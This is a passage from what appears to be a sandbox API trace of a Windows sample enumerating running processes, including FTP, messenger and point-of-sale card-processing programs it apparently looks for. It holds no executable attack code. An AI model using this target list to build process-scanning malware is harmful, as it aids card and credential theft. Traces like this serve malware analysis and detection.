returned 1 [0210.005] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0210.007] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0210.010] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0210.012] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0210.014] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0210.016] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0210.020] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0210.024] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0210.026] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0210.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0210.030] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0210.033] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0210.035] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0210.037] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0210.039] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0210.041] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0210.043] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0210.045] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0210.047] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0210.175] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0210.177] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0210.179] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0210.181] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0210.183] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0210.185] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0210.187] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0210.191] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0210.193] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0210.195] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0210.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0210.200] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.202] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0210.204] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0210.206] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0210.208] CloseHandle (hObject=0x11c8) returned 1 [0210.208] Sleep (dwMilliseconds=0x64) [0210.316] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0210.420] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.422] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.424] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.425] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.427] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0210.429] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.430] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.432] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.434] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.436] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.438] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.440] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.441] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.443] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.445] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.447] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.449] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.450] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.452] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.454] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.458] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0210.460] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.462] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.464] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0210.466] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0210.468] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0210.470] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0210.472] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0210.473] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0210.475] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0210.580] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.590] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.592] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0210.593] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.595] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0210.597] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0210.598] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0210.600] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0210.602] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0210.603] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0210.606] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0210.608] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0210.610] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0210.611] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0210.613] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0210.615] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0210.617] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0210.618] Process32Next (in: 